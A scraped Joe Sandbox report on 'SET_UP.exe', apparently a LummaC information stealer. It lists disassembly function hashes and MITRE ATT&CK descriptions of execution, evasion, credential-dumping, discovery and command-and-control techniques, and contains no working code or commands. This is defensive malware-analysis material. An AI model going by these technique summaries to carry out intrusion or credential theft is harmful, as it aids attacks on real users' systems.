Opcode ID: 0b5e3560fcaa0a8010c569568eaf27840250825cdd05eb51db9dd375b6ab94f8
Instruction ID: ca4d8e814e25bb1b9155e400a0a527abd72be692838cb1987b1c7d3e9b318dcc
Opcode Fuzzy Hash: 0b5e3560fcaa0a8010c569568eaf27840250825cdd05eb51db9dd375b6ab94f8
Instruction Fuzzy Hash: 63F03A718196208BD704DF15C4613BBFBE1AFC6708F09D92DE8CA5B250D634C545878A

Function 00980DEF Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Offset: 00950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_950000_SET_UP.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65c6ab3ed3ac8344c196c2113f596c70d33b6eb0fb20733bb24c3728dfd8a98a
Instruction ID: e9287580ed52ad1dcad40dce358ce8bedb46e413e5941fffdd573e28be929b82
Opcode Fuzzy Hash: 65c6ab3ed3ac8344c196c2113f596c70d33b6eb0fb20733bb24c3728dfd8a98a
Instruction Fuzzy Hash: AFE0D8246452818BCB2A8B24C8603F17BA287DB202F4C9198C4C4D7746CA3C8105871A

Function 009709E6 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Offset: 00950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_950000_SET_UP.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9f89bc5d49024418ebaac0d6223f42d2556c6a5f22dbd203d69d6cbbeed48b5
Instruction ID: 448031f35be6b84aad4f79365d3d6fefdf50c5e64e042167825909318d10da34
Opcode Fuzzy Hash: e9f89bc5d49024418ebaac0d6223f42d2556c6a5f22dbd203d69d6cbbeed48b5
Instruction Fuzzy Hash: A7D05E129497A44E9264CD244490577F7FEAACB127B1CE85ED8EAE3105D239E8059624

Function 00978A56 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Offset: 00950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_950000_SET_UP.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46b9ad209c4cdab893ef51db4f4b1e446ad161ac60067ea0c6c3a4fe7d3400be
Instruction ID: ac12ec8f77b87259f9bc857f09e9027c4e4e6d377f0b53347f8c4f1b66c7b1ca
Opcode Fuzzy Hash: 46b9ad209c4cdab893ef51db4f4b1e446ad161ac60067ea0c6c3a4fe7d3400be
Instruction Fuzzy Hash: 8AB01231D081048FD100CF08C400035F375B687314F253410D018B3101C370F404874C

Function 0097DB0A Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Offset: 00950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_950000_SET_UP.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa56ce6fcd38aba6902023ab4bf1ad2e6c72e626770edf960d3ac8d3d2c9da1a
Instruction ID: 3263b26348c482a28937cd87e14524da63a47cfb4ce5287127b56ee99f8ca05e
Opcode Fuzzy Hash: fa56ce6fcd38aba6902023ab4bf1ad2e6c72e626770edf960d3ac8d3d2c9da1a
Instruction Fuzzy Hash: CCA00268F8C0108781088F08DD50470E2B9978F502F103428D449F3751C610DC048EAD

Function 00978D8D Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Offset: 00950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_950000_SET_UP.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc1e171d6bbfbd0afbe24b4c1cd33bb7857a43b4eae840c0dcfc0a95d8ac9de7
Instruction ID: de8162433b8798576c87c24dcf5bb365deb657cbd2b354d3cccee663184d5fae
Opcode Fuzzy Hash: cc1e171d6bbfbd0afbe24b4c1cd33bb7857a43b4eae840c0dcfc0a95d8ac9de7
Instruction Fuzzy Hash: 3C900224D48104CA85008F649444475E278B20B201F1034509408F3011C350D409454C

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SET_UP.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
SET_UP.exe

Function 00950B19 Relevance: 6.1, APIs: 4, Instructions: 100
threadprocessCOMMON

Function 00950409 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 399
threadCOMMON

Function 009509C9 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Function 009A5647 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Function 009A4299 Relevance: 2.8, APIs: 2, Instructions: 325
memoryCOMMON

Function 0097656C Relevance: 110.4, Strings: 88, Instructions: 367
COMMON

Function 0098D8CE Relevance: 30.2, Strings: 24, Instructions: 230
COMMON

Function 00962AC1 Relevance: 18.3, Strings: 14, Instructions: 848
COMMON

Function 0095ACA6 Relevance: 12.9, Strings: 10, Instructions: 406
COMMON

Function 00971B4F Relevance: 12.9, Strings: 10, Instructions: 360
COMMON

Function 0098E876 Relevance: 12.2, Strings: 9, Instructions: 903
COMMON

Function 0098DF66 Relevance: 11.5, Strings: 9, Instructions: 255
COMMON

Function 009636BE Relevance: 9.4, Strings: 7, Instructions: 606
COMMON